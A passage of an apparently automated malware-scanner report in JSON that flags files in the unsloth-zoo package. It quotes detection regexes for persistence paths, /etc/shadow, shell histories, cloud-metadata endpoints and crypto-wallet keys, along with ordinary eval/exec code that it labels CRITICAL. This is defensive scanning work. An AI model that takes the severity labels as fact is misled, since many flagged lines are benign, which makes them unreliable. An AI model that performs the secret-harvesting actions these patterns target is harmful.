"unsloth_zoo/vision_utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L144: \"metadata.google.internal\", \"metadata.goog\", \"metadata\",\nNetwork: L109: from urllib.request import url2pathname | L478: session = requests.Session()", "evidence_hash": "972786b837f20621c6615cf1c38a0b84abe925d302d7317679bc0272643c0793", "file_sha256": "2fc55291dde4fde95a86b3386e6608db4d990af6d239471a3e46830798b714b3" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1519: _mod = __import__(model_location, fromlist=items) | L5916: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL5917: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5918: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL5919: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L5917: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5918: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL5919: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L5916: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL5917: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL5918: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L1448: _modeling_file = eval(model_location) | L2154: f = eval(f\"{model_location}.{module}\") | L2495: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L2496: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L3978: exec(f\"import {parent}\", locals(), globals()) | L4092: dir(eval(parent)), | L4096: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L4170: module = eval(f\"modeling_file.{module}\") | L4197: inner_class = eval(f\"modeling_file.{inner_class}\") | L4327: exec(f\"from timm.layers.norm_act import {norm}\") | L4335: forward = eval(norm).forward | L4341: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L4358: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L4366: forward = eval(block).forward | L4372: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L4612: exec(\nL4613: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4614: globals(),\nL4615: locals(),\nL4616: ) | L4618: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L4622: exec(\nL4623: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4624: globals(),\nL4625: locals(),\nL4626: ) | L4628: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L4705: source = eval(f\"{model_location}.torch\") | L4712: function = eval(f\"source.nn.{module}\") | L4906: exec(\"import transformers\", globals()) | L4919: exec(\nL4920: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL4921: ) | L4923: exec(\nL4924: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL4925: globals(),\nL4926: locals(),\nL4927: ) | L5161: source = eval(f\"modeling_file.{module}\") | L5175: source = eval(f\"modeling_file.{module}\") | L5276: source = eval(f\"modeling_file.{module}\") | L5314: source = eval(f\"{model_location}.{module}\") | L5394: source = eval(f\"{model_location}.{module}\") | L5442: source = eval(f\"{model_location}.{module}\") | L5679: source = eval(f\"{model_location}.{module}\") | L5690: exec(\nL5691: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL5692: globals(),\nL5693: ) | L5756: source = eval(f\"{model_location}.{module}\") | L5797: module_cls = eval(f\"{model_location}.{module}\") | L5834: module_cls = eval(f\"{model_location}.{module}\") | L5901: exec(\nL5902: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL5903: globals(),\nL5904: ) | L5966: exec(inner_training_loop, globals()) | L5975: function = eval(f\"{model_location}.{module}\") | L6062: function = eval(f\"{model_location}.{module}\") | L6216: exec(\nL6217: f\"{model_location}.{module} = combined_module.{module}\",\nL6218: globals(),\nL6219: locals(),\nL6220: ) | L6230: check_dicts = dir(eval(f\"{model_location}\")) | L6232: item = eval(f\"{model_location}.{check}\") | L6242: exec(\nL6243: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL6244: globals(),\nL6245: locals(),\nL6246: )", "evidence_hash": "bdfae4c24572c2a86fa6a2dede720ebb0723746963e43c2cd42701de5fc48fdb", "file_sha256": "48254dd0bcbc23743b7a81f177bb1e7acda186c809063dc7f3ad0f262b9e7bdb" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4855: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L158: mx.eval(model.parameters()) | L192: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1254: mx.eval(model.parameters()) | L1255: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1322: mx.eval(model.parameters()) | L1325: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2711: mx.eval(altup.correct(predictions, activated)) | L3210: mx.eval(baseline, perturbed) | L4503: model.eval() | L5242: mx.eval(model.parameters()) | L5357: mx.eval(module.weight) | L8769: lambda: mx.eval(model.parameters()), | L8829: lambda: mx.eval(model.parameters()), | L8985: mx.eval(model.parameters())", "evidence_hash": "cf9c8ed7bf9c33f83b6280d7d2d60b072262a04ce3e886a1f38c4003fbef01f4", "file_sha256": "a865c6b908885b4a7a7df38dc6960c645f1b60b011b720d741e02092ee239903" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1603: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L1842: _mod = __import__(model_location, fromlist=items) | L6260: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL6261: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6262: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL6263: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L6261: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6262: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL6263: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L6260: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL6261: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6262: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L1603: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L1771: _modeling_file = eval(model_location) | L2498: f = eval(f\"{model_location}.{module}\") | L2839: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L2840: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L4322: exec(f\"import {parent}\", locals(), globals()) | L4436: dir(eval(parent)), | L4440: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L4514: module = eval(f\"modeling_file.{module}\") | L4541: inner_class = eval(f\"modeling_file.{inner_class}\") | L4671: exec(f\"from timm.layers.norm_act import {norm}\") | L4679: forward = eval(norm).forward | L4685: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L4702: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L4710: forward = eval(block).forward | L4716: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L4956: exec(\nL4957: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4958: globals(),\nL4959: locals(),\nL4960: ) | L4962: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L4966: exec(\nL4967: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4968: globals(),\nL4969: locals(),\nL4970: ) | L4972: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L5049: source = eval(f\"{model_location}.torch\") | L5056: function = eval(f\"source.nn.{module}\") | L5250: exec(\"import transformers\", globals()) | L5263: exec(\nL5264: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL5265: ) | L5267: exec(\nL5268: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL5269: globals(),\nL5270: locals(),\nL5271: ) | L5505: source = eval(f\"modeling_file.{module}\") | L5519: source = eval(f\"modeling_file.{module}\") | L5620: source = eval(f\"modeling_file.{module}\") | L5658: source = eval(f\"{model_location}.{module}\") | L5738: source = eval(f\"{model_location}.{module}\") | L5786: source = eval(f\"{model_location}.{module}\") | L6023: source = eval(f\"{model_location}.{module}\") | L6034: exec(\nL6035: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL6036: globals(),\nL6037: ) | L6100: source = eval(f\"{model_location}.{module}\") | L6141: module_cls = eval(f\"{model_location}.{module}\") | L6178: module_cls = eval(f\"{model_location}.{module}\") | L6245: exec(\nL6246: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL6247: globals(),\nL6248: ) | L6310: exec(inner_training_loop, globals()) | L6319: function = eval(f\"{model_location}.{module}\") | L6406: function = eval(f\"{model_location}.{module}\") | L6560: exec(\nL6561: f\"{model_location}.{module} = combined_module.{module}\",\nL6562: globals(),\nL6563: locals(),\nL6564: ) | L6574: check_dicts = dir(eval(f\"{model_location}\")) | L6576: item = eval(f\"{model_location}.{check}\") | L6586: exec(\nL6587: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL6588: globals(),\nL6589: locals(),\nL6590: )", "evidence_hash": "aaba0e6f7c289e2d6ee4ac8ff927d691a450fb3913a4245aa0fab585dd28d871", "file_sha256": "17a5c7785c98fbc483f6dbf8c54ae6df3e15a65ee60b404d4d12fee609e4e928" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vllm_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L3781: lora_types.append(getattr(__import__(module_path, fromlist = [class_name]), class_name))\nExec: L1231: cross_attn_layer = eval(f'vllm_internals.{name}') | L1266: layernorm = eval(vllm_name).state_dict()[\"weight\"] | L1567: parent = eval(f\"new_model.{parent_path}\") if parent_path else new_model | L1572: exec(f\"new_model.{layer_name_br} = layer\") | L1642: exec(f\"new_model.{layer_name_br}.weight = None\") | L1643: exec(f\"new_model.{layer_name_br}.weight = weight_param\") | L1645: exec(f\"new_model.{layer_name_br}.bias = None\") | L1646: exec(f\"new_model.{layer_name_br}.bias = bias\") | L1652: exec(f\"new_model.{layer_name} = layer\") | L1668: new_model.eval() | L3600: exec(f\"module.to({dtype})\") | L3623: exec(f\"module.to({dtype})\") | L4536: model.eval() | L4576: new_model.eval()", "evidence_hash": "4928e730b84a3fa71dcc50cfe185c77c2028be09ad908706710ab864786b4659", "file_sha256": "105d9cbd9defda789da66044f1d71f416f441aafd17bc424efbb91f05cdac823" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L330: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L330: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "5a5b88e76bd20c9fa1607d962a768b748eb8086d9c77e799b0f67bf00c99214b" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/llama_cpp.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L985: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\") | L5408: env = dict(env) if env is not None else dict(os.environ) | L5495: env = dict(os.environ)\nNetwork: L993: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L4106: response = requests.get(\nL4107: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL4108: ) | L7544: check = requests.get(llama_cpp_chat_file, timeout = 5)", "evidence_hash": "88c38db8f2b8b9d6512709dd7a6d7a9a7bf8a3c48007124ff3680da3a5331d1d", "file_sha256": "d72ae17d76be2c65aa011d0f10a17986ce36bdec58ce6030b68c2a3ce418e357" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1638: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L1877: _mod = __import__(model_location, fromlist=items) | L6295: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL6296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL6298: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L6296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL6298: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L6295: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL6296: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL6297: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L1638: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L1806: _modeling_file = eval(model_location) | L2533: f = eval(f\"{model_location}.{module}\") | L2874: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L2875: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L4357: exec(f\"import {parent}\", locals(), globals()) | L4471: dir(eval(parent)), | L4475: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L4549: module = eval(f\"modeling_file.{module}\") | L4576: inner_class = eval(f\"modeling_file.{inner_class}\") | L4706: exec(f\"from timm.layers.norm_act import {norm}\") | L4714: forward = eval(norm).forward | L4720: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L4737: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L4745: forward = eval(block).forward | L4751: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L4991: exec(\nL4992: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4993: globals(),\nL4994: locals(),\nL4995: ) | L4997: exec(f\"{model_location}.nn.{module}.forward = forward\", globals(), locals()) | L5001: exec(\nL5002: f\"combined_module.torch.nn.{module}.forward = forward\",\nL5003: globals(),\nL5004: locals(),\nL5005: ) | L5007: exec(f\"combined_module.nn.{module}.forward = forward\", globals(), locals()) | L5084: source = eval(f\"{model_location}.torch\") | L5091: function = eval(f\"source.nn.{module}\") | L5285: exec(\"import transformers\", globals()) | L5298: exec(\nL5299: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL5300: ) | L5302: exec(\nL5303: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL5304: globals(),\nL5305: locals(),\nL5306: ) | L5540: source = eval(f\"modeling_file.{module}\") | L5554: source = eval(f\"modeling_file.{module}\") | L5655: source = eval(f\"modeling_file.{module}\") | L5693: source = eval(f\"{model_location}.{module}\") | L5773: source = eval(f\"{model_location}.{module}\") | L5821: source = eval(f\"{model_location}.{module}\") | L6058: source = eval(f\"{model_location}.{module}\") | L6069: exec(\nL6070: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL6071: globals(),\nL6072: ) | L6135: source = eval(f\"{model_location}.{module}\") | L6176: module_cls = eval(f\"{model_location}.{module}\") | L6213: module_cls = eval(f\"{model_location}.{module}\") | L6280: exec(\nL6281: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL6282: globals(),\nL6283: ) | L6345: exec(inner_training_loop, globals()) | L6354: function = eval(f\"{model_location}.{module}\") | L6441: function = eval(f\"{model_location}.{module}\") | L6595: exec(\nL6596: f\"{model_location}.{module} = combined_module.{module}\",\nL6597: globals(),\nL6598: locals(),\nL6599: ) | L6609: check_dicts = dir(eval(f\"{model_location}\")) | L6611: item = eval(f\"{model_location}.{check}\") | L6621: exec(\nL6622: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL6623: globals(),\nL6624: locals(),\nL6625: )", "evidence_hash": "aaba0e6f7c289e2d6ee4ac8ff927d691a450fb3913a4245aa0fab585dd28d871", "file_sha256": "f6005ebf8d082e2cec5d490698fd96a5fd7490fcc807a8edb71eaf3d7f32ecd1" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/mlx/loader.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L4859: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L158: mx.eval(model.parameters()) | L192: mx.eval([v for k, v in tree_flatten(casted) if is_mlx_norm_parameter_path(k)]) | L1254: mx.eval(model.parameters()) | L1255: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L1322: mx.eval(model.parameters()) | L1325: mx.eval(mx.distributed.all_sum(mx.array(1.0), stream=mx.cpu)) | L2715: mx.eval(altup.correct(predictions, activated)) | L3214: mx.eval(baseline, perturbed) | L4507: model.eval() | L5248: mx.eval(model.parameters()) | L5364: mx.eval(module.weight) | L7917: mx.eval(model.parameters()) | L7934: mx.eval(target.parameters()) | L8812: lambda: mx.eval(model.parameters()), | L8872: lambda: mx.eval(model.parameters()), | L9028: mx.eval(model.parameters())", "evidence_hash": "33ed0a28c99198e85c768e9d9e799e0762c433cfdab71992fa1e047c67b23046", "file_sha256": "5d574174485141a92839df63447d1878b43c6ddc0d45eefd917a189075d34319" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/temporary_patches/moe_utils.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L330: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)\nExec: L330: exec(compile(cached_bytes, cache_file, \"exec\"), module.__dict__)", "evidence_hash": "ef22a4fe0d8ec7e2b0e4afc6e6a3d997cd94c981bf59790562217d4f9dd70732", "file_sha256": "567474f064b6fa7c21947c4ecbaa73e0ecae0aa14a5cc5ac57361665a76814fa" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/converter_scan.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L324: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L324: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:5b1749fa0d5dca5b0404f92f3e82d17a9b872a2443830a68d84016680f97e95a", "evidence_hash": "057c7a7106a83eaa1e82063fdae0b90bc721a73e20af2f53f05a0919bc84e4ed", "file_sha256": "747bc4f3f23f7d2e445cc7fc2c9a9a2a825cf7118b22e7ac42718a215b926bf5" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/converter_scan.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", "evidence": "L339: r\"|With Love TeamPCP|We've been online over 2 hours)\",", "evidence_hash": "1fc2637d45f3b1dc5a94c41c13abc5fde05e224b9fcac3f8ddd861e84f90ec57", "file_sha256": "747bc4f3f23f7d2e445cc7fc2c9a9a2a825cf7118b22e7ac42718a215b926bf5" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/converter_scan.py", "check": "Installs persistence mechanism (systemd/cron/launchd/registry)", "severity": "HIGH", "evidence": "L182: r\"/etc/systemd/\" | L185: r\"|/etc/cron\" | L188: r\"|/Library/LaunchDaemons\" | L189: r\"|/Library/LaunchAgents\" | L191: r\"|~/.local/share/systemd\" | L193: r\"|HKEY_LOCAL_MACHINE.*\\\\\\\\Run\" | L194: r\"|HKEY_CURRENT_USER.*\\\\\\\\Run\"", "evidence_hash": "23e53d85cbd99e32168cc24464299379df5a1864ad465d52aae6ca3d68684cfa", "file_sha256": "747bc4f3f23f7d2e445cc7fc2c9a9a2a825cf7118b22e7ac42718a215b926bf5" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/converter_scan.py", "check": "Writes to /tmp and executes (staged dropper)", "severity": "CRITICAL", "evidence": "L1768: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L1768: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:8f6aa9a429370960eeaa339f9cbbc6069dfda34e6a9dc8e7c64689a74a42cf1a", "evidence_hash": "2e35147c040613a5f7e8bdf6b4595b5a5ff1c7530425963f18f9b3f79a78d5f4", "file_sha256": "84e812b81fa72db5231c15ba96ad4ee2f714bfa5a8e32772faeb94340672ffb5" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/converter_scan.py", "check": "May-12 Shai-Hulud IOC string present in Python file", "severity": "CRITICAL", "evidence": "L1781: r\"|With Love TeamPCP|We've been online over 2 hours)\",", "evidence_hash": "1fc2637d45f3b1dc5a94c41c13abc5fde05e224b9fcac3f8ddd861e84f90ec57", "file_sha256": "84e812b81fa72db5231c15ba96ad4ee2f714bfa5a8e32772faeb94340672ffb5" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/converter_scan.py", "check": "Enumerates filesystem AND makes network calls", "severity": "CRITICAL", "evidence": "FS: L1579: r\"|/etc/shadow|/etc/passwd\" | L1717: r\"|\\b\\.bash_history\\b\" | L1718: r\"|\\b\\.zsh_history\\b\" | L1719: r\"|/etc/shadow\" | L1720: r\"|/etc/passwd\",\nNetwork: L293: \"socket\", \"http.client\", \"http.server\", \"urllib.request\",", "evidence_hash": "0fdf64299d5f20fcbf674e369e9a9c66a6d8618fde6ac93c64ec66ffe76a8aff", "file_sha256": "84e812b81fa72db5231c15ba96ad4ee2f714bfa5a8e32772faeb94340672ffb5" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/converter_scan.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L1618: r\"|/latest/meta-data\" | L1619: r\"|/metadata/instance\" | L1620: r\"|/metadata/identity\"\nNetwork: L293: \"socket\", \"http.client\", \"http.server\", \"urllib.request\",", "evidence_hash": "05d185bd26aef977ac79dd0248a6ebf8c621c3e7f769c23dcee5f6ccfc72f317", "file_sha256": "84e812b81fa72db5231c15ba96ad4ee2f714bfa5a8e32772faeb94340672ffb5" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/converter_scan.py", "check": "Targets cryptocurrency wallets AND makes network calls", "severity": "CRITICAL", "evidence": "Crypto: L1757: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L293: \"socket\", \"http.client\", \"http.server\", \"urllib.request\",", "evidence_hash": "e97eb692e16a2a8a41097e62fec4db501b9d9617f45ecf69d61c95b28f21d061", "file_sha256": "84e812b81fa72db5231c15ba96ad4ee2f714bfa5a8e32772faeb94340672ffb5" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/converter_scan.py", "check": "Installs persistence AND makes network calls (backdoor pattern)", "severity": "CRITICAL", "evidence": "Persist: L1626: r\"/etc/systemd/\" | L1629: r\"|/etc/cron\" | L1632: r\"|/Library/LaunchDaemons\" | L1633: r\"|/Library/LaunchAgents\" | L1635: r\"|~/.local/share/systemd\" | L1637: r\"|HKEY_LOCAL_MACHINE.*\\\\\\\\Run\" | L1638: r\"|HKEY_CURRENT_USER.*\\\\\\\\Run\"\nNetwork: L293: \"socket\", \"http.client\", \"http.server\", \"urllib.request\",", "evidence_hash": "c68642625a026459571a7c7e5609254c64fd2f5625ff02d0556ef444d223462f", "file_sha256": "84e812b81fa72db5231c15ba96ad4ee2f714bfa5a8e32772faeb94340672ffb5" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Harvests environment variables/secrets AND makes network calls", "severity": "CRITICAL", "evidence": "Env: L152: return os.environ.get(UNSLOTH_ALLOW_PRIVATE_URL_FETCH_VAR, \"0\") == \"1\"\nNetwork: L110: from urllib.request import url2pathname | L479: session = requests.Session()", "evidence_hash": "3bbd70075adbff1b2cb50de320002a0dce6324653a8727ec60c42e0943dccdac", "file_sha256": "2e6964fb27d42029b493913896c46b1558140a11b0f9c8142ee16e57ffb43051" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/vision_utils.py", "check": "Accesses cloud metadata/IMDS AND makes network calls", "severity": "CRITICAL", "evidence": "IMDS: L145: \"metadata.google.internal\", \"metadata.goog\", \"metadata\",\nNetwork: L110: from urllib.request import url2pathname | L479: session = requests.Session()", "evidence_hash": "972786b837f20621c6615cf1c38a0b84abe925d302d7317679bc0272643c0793", "file_sha256": "2e6964fb27d42029b493913896c46b1558140a11b0f9c8142ee16e57ffb43051" }, { "package": "unsloth-zoo", "file": "unsloth_zoo/compiler.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", "evidence": "Obfusc: L1718: exec(compile(source, file_location, \"exec\"), new_module.__dict__) | L1967: _mod = __import__(model_location, fromlist=items) | L6436: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL6437: f\"O^O/ 